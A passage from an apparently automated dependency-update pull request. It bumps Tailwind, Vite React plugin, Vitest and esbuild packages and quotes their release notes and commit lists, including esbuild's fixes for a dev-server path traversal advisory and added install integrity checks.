href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20221\"\u003e#20221\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eServe ESM type declarations to ESM importers of \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20228\"\u003e#20228\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/056a1550721d4bf79ff732d5ab9414fa83f7064f\"\u003e\u003ccode\u003e056a155\u003c/code\u003e\u003c/a\u003e 4.3.2 (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20281\"\u003e#20281\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/8a14a710102cae195f6811e8578bef9477bc6be9\"\u003e\u003ccode\u003e8a14a71\u003c/code\u003e\u003c/a\u003e 4.3.1 (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20226\"\u003e#20226\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/522288ca08c7ed0e7e9d3256f40fd36981d451a3\"\u003e\u003ccode\u003e522288c\u003c/code\u003e\u003c/a\u003e Serve ESM type declarations to ESM importers of \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20228\"\u003e#20228\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/8dcdb66e8a58b9df621ed1a9cb59396e0ddb6dd7\"\u003e\u003ccode\u003e8dcdb66\u003c/code\u003e\u003c/a\u003e Bump dependencies (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20095\"\u003e#20095\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commits/v4.3.2/packages/@tailwindcss-postcss\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitejs/plugin-react` from 6.0.2 to 6.0.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react/CHANGELOG.md\"\u003e@​vitejs/plugin-react's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e6.0.3 (2026-06-23)\u003c/h2\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/640fd358a0e82393acfce4e92e19a6ac6e1641a7\"\u003e\u003ccode\u003e640fd35\u003c/code\u003e\u003c/a\u003e release: plugin-react@6.0.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/889efb02cdc4ec978a5e177a37e0213cfded38a4\"\u003e\u003ccode\u003e889efb0\u003c/code\u003e\u003c/a\u003e fix(deps): update all non-major dependencies (\u003ca href=\"https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react/issues/1249\"\u003e#1249\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/6c57dd4c5d71075b48039df2532804e72880da21\"\u003e\u003ccode\u003e6c57dd4\u003c/code\u003e\u003c/a\u003e fix(plugin-react): use '/' base in bundledDev preamble to fix non-root base p...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/3cc33a703636b558a1c1c99e787ddc6bd64aab2d\"\u003e\u003ccode\u003e3cc33a7\u003c/code\u003e\u003c/a\u003e fix(deps): update react-related dependencies (\u003ca href=\"https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react/issues/1245\"\u003e#1245\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/c0f7c7ff709dc9d88bc1f29f1b27c1b3e2bfcfca\"\u003e\u003ccode\u003ec0f7c7f\u003c/code\u003e\u003c/a\u003e docs: mention the Biome rule in the \u0026quot;Consistent components exports\u0026quot; section (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/cd80f0f7b2b750f6e8f719f9c3dbe4f22ddd94db\"\u003e\u003ccode\u003ecd80f0f\u003c/code\u003e\u003c/a\u003e fix(deps): update all non-major dependencies (\u003ca href=\"https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react/issues/1241\"\u003e#1241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/e38accafea0c7c84f7fc72fd69d9cec731fa7600\"\u003e\u003ccode\u003ee38acca\u003c/code\u003e\u003c/a\u003e fix(deps): update all non-major dependencies (\u003ca href=\"https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react/issues/1227\"\u003e#1227\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/9a9bb26c23b966dceed47ff9ec257faeb0e777d9\"\u003e\u003ccode\u003e9a9bb26\u003c/code\u003e\u003c/a\u003e perf(react): improve react compiler preset so that slightly more modules are ...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitejs/vite-plugin-react/commits/plugin-react@6.0.3/packages/plugin-react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/browser-playwright` from 4.1.8 to 4.1.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/browser-playwright's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.10\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10680\"\u003evitest-dev/vitest#10680\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267\"\u003e\u003c!-- raw HTML omitted --\u003e(5c18d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evm\u003c/strong\u003e: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by \u003ca href=\"https://github.com/SveLil\"\u003e\u003ccode\u003e@​SveLil\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10661\"\u003evitest-dev/vitest#10661\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b511\"\u003e\u003c!-- raw HTML omitted --\u003e(bae52)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.9...v4.1.10\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.9\u003c/h2\u003e\n\u003ch3\u003e🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eDavid Harris\u003c/strong\u003e, \u003cstrong\u003eCodex\u003c/strong\u003eand \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10546\"\u003evitest-dev/vitest#10546\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c\"\u003e\u003c!-- raw HTML omitted --\u003e(a5180)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eWait for orchestrator readiness before resolving browser sessions [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10555\"\u003evitest-dev/vitest#10555\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651a\"\u003e\u003c!-- raw HTML omitted --\u003e(7fb29)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait for iframe tester readiness before preparing  [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10497\"\u003evitest-dev/vitest#10497\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10556\"\u003evitest-dev/vitest#10556\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fbc626c40\"\u003e\u003c!-- raw HTML omitted --\u003e(fbc62)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eHoist vi.mock() for vite-plus/test imports [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eLongYinan\u003c/strong\u003e, \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e and \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10548\"\u003evitest-dev/vitest#10548\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2c9559c02\"\u003e\u003c!-- raw HTML omitted --\u003e(2c955)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epool\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePrevent test run hang on worker crash  [backport to v4] - by \u003cstrong\u003eAri Perkkiö\u003c/strong\u003e and \u003cstrong\u003eJattioui Ismail\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10543\"\u003evitest-dev/vitest#10543\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10564\"\u003evitest-dev/vitest#10564\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587\"\u003e\u003c!-- raw HTML omitted --\u003e(934b0)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.8...v4.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/db616d227b6e0cb07a94f5d1bba262ee95db7e46\"\u003e\u003ccode\u003edb616d2\u003c/code\u003e\u003c/a\u003e chore: release v4.1.10 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/browser-playwright/issues/10718\"\u003e#10718\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267ff7f47f24cab2f615a16b37d90feb7f\"\u003e\u003ccode\u003e5c18dd2\u003c/code\u003e\u003c/a\u003e fix(browser): check fs access in builtin commands [backport to v4] (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/browser-playwright/issues/10680\"\u003e#10680\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a7a61e78c7d0718f00173cff6800a91a344457d4\"\u003e\u003ccode\u003ea7a61e7\u003c/code\u003e\u003c/a\u003e chore: release v4.1.9 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/browser-playwright/issues/10598\"\u003e#10598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.10/packages/browser-playwright\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 4.1.8 to 4.1.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.10\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10680\"\u003evitest-dev/vitest#10680\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267\"\u003e\u003c!-- raw HTML omitted --\u003e(5c18d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evm\u003c/strong\u003e: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by \u003ca href=\"https://github.com/SveLil\"\u003e\u003ccode\u003e@​SveLil\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10661\"\u003evitest-dev/vitest#10661\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b511\"\u003e\u003c!-- raw HTML omitted --\u003e(bae52)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.9...v4.1.10\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.9\u003c/h2\u003e\n\u003ch3\u003e🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eDavid Harris\u003c/strong\u003e, \u003cstrong\u003eCodex\u003c/strong\u003eand \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10546\"\u003evitest-dev/vitest#10546\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c\"\u003e\u003c!-- raw HTML omitted --\u003e(a5180)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eWait for orchestrator readiness before resolving browser sessions [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10555\"\u003evitest-dev/vitest#10555\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651a\"\u003e\u003c!-- raw HTML omitted --\u003e(7fb29)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait for iframe tester readiness before preparing  [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10497\"\u003evitest-dev/vitest#10497\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10556\"\u003evitest-dev/vitest#10556\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fbc626c40\"\u003e\u003c!-- raw HTML omitted --\u003e(fbc62)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eHoist vi.mock() for vite-plus/test imports [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eLongYinan\u003c/strong\u003e, \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e and \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10548\"\u003evitest-dev/vitest#10548\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2c9559c02\"\u003e\u003c!-- raw HTML omitted --\u003e(2c955)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epool\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePrevent test run hang on worker crash  [backport to v4] - by \u003cstrong\u003eAri Perkkiö\u003c/strong\u003e and \u003cstrong\u003eJattioui Ismail\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10543\"\u003evitest-dev/vitest#10543\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10564\"\u003evitest-dev/vitest#10564\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587\"\u003e\u003c!-- raw HTML omitted --\u003e(934b0)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.8...v4.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/db616d227b6e0cb07a94f5d1bba262ee95db7e46\"\u003e\u003ccode\u003edb616d2\u003c/code\u003e\u003c/a\u003e chore: release v4.1.10 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/10718\"\u003e#10718\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a7a61e78c7d0718f00173cff6800a91a344457d4\"\u003e\u003ccode\u003ea7a61e7\u003c/code\u003e\u003c/a\u003e chore: release v4.1.9 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/10598\"\u003e#10598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.10/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `esbuild` from 0.28.0 to 0.28.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/releases\"\u003eesbuild's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.28.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eDisallow \u003ccode\u003e\\\u003c/code\u003e in local development server HTTP requests (\u003ca href=\"https://github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr\"\u003eGHSA-g7r4-m6w7-qqqr\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThis release fixes a security issue where HTTP requests to esbuild's local development server could traverse outside of the serve directory on Windows using a \u003ccode\u003e\\\u003c/code\u003e backslash character. It happened due to the use of Go's \u003ccode\u003epath.Clean()\u003c/code\u003e function, which only handles Unix-style \u003ccode\u003e/\u003c/code\u003e characters. HTTP requests with paths containing \u003ccode\u003e\\\u003c/code\u003e are no longer allowed.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/dellalibera\"\u003e\u003ccode\u003e@​dellalibera\u003c/code\u003e\u003c/a\u003e for reporting this issue.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd integrity checks to the Deno API (\u003ca href=\"https://github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr\"\u003eGHSA-gv7w-rqvm-qjhr\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe previous release of esbuild added integrity checks to esbuild's npm install script. This release also adds integrity checks to esbuild's Deno install script. Now esbuild's Deno API will also fail with an error if the downloaded esbuild binary contains something other than the expected content.\u003c/p\u003e\n\u003cp\u003eNote that esbuild's Deno API installs from \u003ccode\u003eregistry.npmjs.org\u003c/code\u003e by default, but allows the \u003ccode\u003eNPM_CONFIG_REGISTRY\u003c/code\u003e environment variable to override this with a custom package registry. This change means that the esbuild executable served by \u003ccode\u003eNPM_CONFIG_REGISTRY\u003c/code\u003e must now match the expected content.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/sondt99\"\u003e\u003ccode\u003e@​sondt99\u003c/code\u003e\u003c/a\u003e for reporting this issue.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAvoid inlining \u003ccode\u003eusing\u003c/code\u003e and \u003ccode\u003eawait using\u003c/code\u003e declarations (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4482\"\u003e#4482\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePreviously esbuild's minifier sometimes incorrectly inlined \u003ccode\u003eusing\u003c/code\u003e and \u003ccode\u003eawait using\u003c/code\u003e declarations into subsequent uses of that declaration, which then fails to dispose of the resource correctly. This bug happened because inlining was done for \u003ccode\u003elet\u003c/code\u003e and \u003ccode\u003econst\u003c/code\u003e declarations by avoiding doing it for \u003ccode\u003evar\u003c/code\u003e declarations, which no longer worked when more declaration types were added. Here's an example:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// Original code\r\n{\r\n  using x = new Resource()\r\n  x.activate()\r\n}\r\n\u003cp\u003e// Old output (with --minify)\u003cbr /\u003e\nnew Resource().activate();\u003c/p\u003e\n\u003cp\u003e// New output (with --minify)\u003cbr /\u003e\n{using e=new Resource;e.activate()}\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix module evaluation when an error is thrown (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4461\"\u003e#4461\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4467\"\u003e#4467\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eIf an error is thrown during module evaluation, esbuild previously didn't preserve the state of the module for subsequent module references. This was observable if \u003ccode\u003eimport()\u003c/code\u003e or \u003ccode\u003erequire()\u003c/code\u003e is used to import a module multiple times. The thrown error is supposed to be thrown by every call to \u003ccode\u003eimport()\u003c/code\u003e or \u003ccode\u003erequire()\u003c/code\u003e, not just the first. With this release, esbuild will now throw the same error every time you call \u003ccode\u003eimport()\u003c/code\u003e or \u003ccode\u003erequire()\u003c/code\u003e on a module that throws during its evaluation.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix some edge cases around the \u003ccode\u003enew\u003c/code\u003e operator (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4477\"\u003e#4477\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePreviously esbuild incorrectly printed certain edge cases involving complex expressions inside the target of a \u003ccode\u003enew\u003c/code\u003e expression (specifically an optional chain and/or a tagged template literal). The generated code for the \u003ccode\u003enew\u003c/code\u003e target was not correctly wrapped with parentheses, and either contained a syntax error or had different semantics. These edge cases have been fixed so that they now correctly wrap the \u003ccode\u003enew\u003c/code\u003e target in parentheses. Here is an example of some affected code:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// Original code\r\nnew (foo()`bar`)()\r\nnew (foo()?.bar)()\r\n\u003cp\u003e// Old output\u003cbr /\u003e\nnew foo()\u003ccode\u003ebar\u003c/code\u003e();\u003cbr /\u003e\nnew (foo())?.bar();\u003c/p\u003e\n\u003cp\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/blob/main/CHANGELOG.md\"\u003eesbuild's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.28.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eDisallow \u003ccode\u003e\\\u003c/code\u003e in local development server HTTP requests (\u003ca href=\"https://github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr\"\u003eGHSA-g7r4-m6w7-qqqr\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThis release fixes a security issue where HTTP requests to esbuild's local development server could traverse outside of the serve directory on Windows using a \u003ccode\u003e\\\u003c/code\u003e backslash character. It happened due to the use of Go's \u003ccode\u003epath.Clean()\u003c/code\u003e function, which only handles Unix-style \u003ccode\u003e/\u003c/code\u003e characters. HTTP requests with paths containing \u003ccode\u003e\\\u003c/code\u003e are no longer allowed.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/dellalibera\"\u003e\u003ccode\u003e@​dellalibera\u003c/code\u003e\u003c/a\u003e for reporting this issue.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd integrity checks to the Deno API (\u003ca href=\"https://github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr\"\u003eGHSA-gv7w-rqvm-qjhr\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe previous release of esbuild added integrity checks to esbuild's npm install script. This release also adds integrity checks to esbuild's Deno install script. Now esbuild's Deno API will also fail with an error if the downloaded esbuild binary contains something other than the expected content.\u003c/p\u003e\n\u003cp\u003eNote that esbuild's Deno API installs from \u003ccode\u003eregistry.npmjs.org\u003c/code\u003e by default, but allows the \u003ccode\u003eNPM_CONFIG_REGISTRY\u003c/code\u003e environment variable to override this with a custom package registry. This change means that the esbuild executable served by \u003ccode\u003eNPM_CONFIG_REGISTRY\u003c/code\u003e must now match the expected content.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/sondt99\"\u003e\u003ccode\u003e@​sondt99\u003c/code\u003e\u003c/a\u003e for reporting this issue.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAvoid 